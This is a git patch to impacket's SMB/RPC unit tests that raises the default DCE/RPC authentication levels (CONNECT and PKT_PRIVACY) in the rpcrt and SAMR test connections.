if __name__ == '__main__':
diff --git a/tests/SMB_RPC/test_rpcrt.py b/tests/SMB_RPC/test_rpcrt.py
index e2070e90..6cce546a 100644
--- a/tests/SMB_RPC/test_rpcrt.py
+++ b/tests/SMB_RPC/test_rpcrt.py
@@ -10,7 +10,7 @@ from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5 import transport, epm, samr
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, \
- RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT
+ RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_CALL
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
@@ -22,7 +22,7 @@ from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
class DCERPCTests(unittest.TestCase):
def connectDCE(self, username, password, domain, lm='', nt='', aesKey='', TGT=None, TGS=None, tfragment=0,
dceFragment=0,
- auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True, doKerberos=False,
+ auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_CONNECT, dceAuth=True, doKerberos=False,
bind=epm.MSRPC_UUID_PORTMAP):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
@@ -121,7 +121,7 @@ class DCERPCTests(unittest.TestCase):
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
print(self.stringBinding)
dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=0,
- auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+ auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
dceAuth=True,
doKerberos=True, bind=samr.MSRPC_UUID_SAMR)
self.stringBinding = oldBinding
diff --git a/tests/SMB_RPC/test_samr.py b/tests/SMB_RPC/test_samr.py
index fa44a819..ae286cad 100644
--- a/tests/SMB_RPC/test_samr.py
+++ b/tests/SMB_RPC/test_samr.py
@@ -153,8 +153,8 @@ class SAMRTests(unittest.TestCase):
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
- #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
- dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
+ dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
+ #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(samr.MSRPC_UUID_SAMR, transfer_syntax = self.ts)
request = samr.SamrConnect()
request['ServerName'] = 'BETO\x00'
--
2.23.0.rc1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment